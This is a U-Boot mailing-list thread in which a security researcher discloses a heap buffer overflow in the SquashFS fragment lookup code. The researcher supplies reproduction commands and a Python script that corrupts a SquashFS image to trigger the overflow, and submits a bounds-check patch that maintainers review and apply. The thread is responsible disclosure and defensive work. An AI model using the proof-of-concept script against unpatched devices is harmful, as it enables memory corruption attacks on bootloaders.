* [PATCH 0/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
@ 2026-02-20 19:48 Eric Kilmer
2026-02-20 19:48 ` [PATCH 1/1] " Eric Kilmer
0 siblings, 1 reply; 4+ messages in thread
From: Eric Kilmer @ 2026-02-20 19:48 UTC (permalink / raw)
To: u-boot; +Cc: jmcosta944, thomas.petazzoni, miquel.raynal, trini, Eric Kilmer
Hi,
I'm Eric Kilmer from Trail of Bits. We found a heap buffer overflow in
U-Boot's SquashFS implementation and have prepared a patch.
sqfs_frag_lookup() has a heap buffer overflow that writes
attacker-controlled data past the SQFS_METADATA_BLOCK_SIZE (8192) heap
buffer. A malformed SquashFS image triggers it through sqfsload when
loading any fragment-backed file. Present since v2020.10
(commit c51006130370 ("fs/squashfs: new filesystem")),
affects all versions through current master.
The function reads a 16-bit metadata block header and uses the lower
15 bits as a memcpy size without bounds checking. sqfs_read_metablock()
in sqfs_inode.c already validates this field but sqfs_frag_lookup() does
not. The fix adds the same check.
This looks related to CVE-2022-33103 and CVE-2022-33967, both heap-based
overflows in the same SquashFS code.
Reproduction
In sandbox (CONFIG_ASAN=y):
=> host bind 0 pov.sqfs
=> sqfsload host 0 0x1000000 /file.txt
Unpatched: "do_check_inuse_chunk: Assertion 'inuse(p)' failed"
Patched: "Failed to load '/file.txt'" (graceful -EINVAL)
The following script generates the PoV image (requires mksquashfs from
squashfs-tools). It builds a valid image with one small file, then
corrupts only the fragment table index pointer:
#!/usr/bin/env python3
import os, struct, subprocess, sys, tempfile
out = sys.argv[1] if len(sys.argv) > 1 else "pov.sqfs"
with tempfile.TemporaryDirectory() as d:
with open(os.path.join(d, "file.txt"), "wb") as f:
f.write(b"test")
subprocess.run(["mksquashfs", d, out, "-noI", "-noD", "-noF",
"-noX", "-noappend", "-quiet"], check=True)
img = bytearray(open(out, "rb").read())
frag_tbl = struct.unpack_from("<Q", img, 0x50)[0] # fragment_table_start
# Find a 2-byte value where bit 15 is set (uncompressed) and
# bits 0-14 > 8192 (overflows the SQFS_METADATA_BLOCK_SIZE buffer)
for off in range(0x60, frag_tbl):
h = struct.unpack_from("<H", img, off)[0]
if (h & 0x8000) and (h & 0x7FFF) > 8192:
break
else:
sys.exit("no suitable header found")
struct.pack_into("<Q", img, frag_tbl, off) # corrupt the pointer
img += b"\x00" * (-len(img) % 4096) # pad for block alignment
open(out, "wb").write(img)
print(f"Wrote {out}: frag index ptr {frag_tbl:#x} -> {off:#x}, "
f"header {h:#06x}, overflow {(h & 0x7FFF) - 8192} bytes")
This bug was found as part of follow-on research from DARPA's AI Cyber
Challenge (AIXCC), where Trail of Bits built Buttercup, a Cyber
Reasoning System that combines static analysis, fuzzing, and large
language models to find and fix vulnerabilities.
https://www.darpa.mil/research/programs/ai-cyber
https://www.trailofbits.com/buttercup/
If there's anything else you need from me, please let me know.
Thanks for your work on U-Boot.
Eric Kilmer (1):
fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
fs/squashfs/sqfs.c | 5 +++++
1 file changed, 5 insertions(+)
--
2.53.0
^ permalink raw reply [flat|nested] 4+ messages in thread
* [PATCH 1/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
2026-02-20 19:48 [PATCH 0/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup() Eric Kilmer
@ 2026-02-20 19:48 ` Eric Kilmer
2026-02-23 8:42 ` Miquel Raynal
2026-02-23 20:28 ` Tom Rini
0 siblings, 2 replies; 4+ messages in thread
From: Eric Kilmer @ 2026-02-20 19:48 UTC (permalink / raw)
To: u-boot; +Cc: jmcosta944, thomas.petazzoni, miquel.raynal, trini, Eric Kilmer
sqfs_frag_lookup() reads a 16-bit metadata block header whose lower
15 bits encode the data size. Unlike sqfs_read_metablock() in
sqfs_inode.c, this function does not validate that the decoded size is
within SQFS_METADATA_BLOCK_SIZE (8192). A malformed SquashFS image can
set the size field to any value up to 32767, causing memcpy to write
past the 8192-byte 'entries' heap buffer.
Add the same bounds check used by sqfs_read_metablock(): reject any
metadata block header with SQFS_METADATA_SIZE(header) exceeding
SQFS_METADATA_BLOCK_SIZE.
Found by fuzzing with libFuzzer + AddressSanitizer.
Signed-off-by: Eric Kilmer <eric.kilmer@trailofbits.com>
---
fs/squashfs/sqfs.c | 5 +++++
1 file changed, 5 insertions(+)
diff --git a/fs/squashfs/sqfs.c b/fs/squashfs/sqfs.c
index f668c26472e..9cb8b4afcdd 100644
--- a/fs/squashfs/sqfs.c
+++ b/fs/squashfs/sqfs.c
@@ -178,6 +178,11 @@ static int sqfs_frag_lookup(u32 inode_fragment_index,
goto out;
}
+ if (SQFS_METADATA_SIZE(header) > SQFS_METADATA_BLOCK_SIZE) {
+ ret = -EINVAL;
+ goto out;
+ }
+
entries = malloc(SQFS_METADATA_BLOCK_SIZE);
if (!entries) {
ret = -ENOMEM;
--
2.53.0
^ permalink raw reply related [flat|nested] 4+ messages in thread
* Re: [PATCH 1/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
2026-02-20 19:48 ` [PATCH 1/1] " Eric Kilmer
@ 2026-02-23 8:42 ` Miquel Raynal
2026-02-23 20:28 ` Tom Rini
1 sibling, 0 replies; 4+ messages in thread
From: Miquel Raynal @ 2026-02-23 8:42 UTC (permalink / raw)
To: Eric Kilmer; +Cc: u-boot, jmcosta944, thomas.petazzoni, trini
On 20/02/2026 at 14:48:08 -05, Eric Kilmer <eric.kilmer@trailofbits.com> wrote:
> sqfs_frag_lookup() reads a 16-bit metadata block header whose lower
> 15 bits encode the data size. Unlike sqfs_read_metablock() in
> sqfs_inode.c, this function does not validate that the decoded size is
> within SQFS_METADATA_BLOCK_SIZE (8192). A malformed SquashFS image can
> set the size field to any value up to 32767, causing memcpy to write
> past the 8192-byte 'entries' heap buffer.
>
> Add the same bounds check used by sqfs_read_metablock(): reject any
> metadata block header with SQFS_METADATA_SIZE(header) exceeding
> SQFS_METADATA_BLOCK_SIZE.
>
> Found by fuzzing with libFuzzer + AddressSanitizer.
>
> Signed-off-by: Eric Kilmer <eric.kilmer@trailofbits.com>
Reviewed-by: Miquel Raynal <miquel.raynal@bootlin.com>
Thanks!
Miquèl
^ permalink raw reply [flat|nested] 4+ messages in thread
* Re: [PATCH 1/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
2026-02-20 19:48 ` [PATCH 1/1] " Eric Kilmer
2026-02-23 8:42 ` Miquel Raynal
@ 2026-02-23 20:28 ` Tom Rini
1 sibling, 0 replies; 4+ messages in thread
From: Tom Rini @ 2026-02-23 20:28 UTC (permalink / raw)
To: u-boot, Eric Kilmer; +Cc: jmcosta944, thomas.petazzoni, miquel.raynal
On Fri, 20 Feb 2026 14:48:08 -0500, Eric Kilmer wrote:
> sqfs_frag_lookup() reads a 16-bit metadata block header whose lower
> 15 bits encode the data size. Unlike sqfs_read_metablock() in
> sqfs_inode.c, this function does not validate that the decoded size is
> within SQFS_METADATA_BLOCK_SIZE (8192). A malformed SquashFS image can
> set the size field to any value up to 32767, causing memcpy to write
> past the 8192-byte 'entries' heap buffer.
>
> [...]
Applied to u-boot/next, thanks!
[1/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup()
commit: e365a269df5d01307390bdf7d6a1081d94b06470
--
Tom
^ permalink raw reply [flat|nested] 4+ messages in thread
end of thread, other threads:[~2026-02-23 20:28 UTC | newest]
Thread overview: 4+ messages (download: mbox.gz follow: Atom feed
-- links below jump to the message on this page --
2026-02-20 19:48 [PATCH 0/1] fs/squashfs: fix heap buffer overflow in sqfs_frag_lookup() Eric Kilmer
2026-02-20 19:48 ` [PATCH 1/1] " Eric Kilmer
2026-02-23 8:42 ` Miquel Raynal
2026-02-23 20:28 ` Tom Rini
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox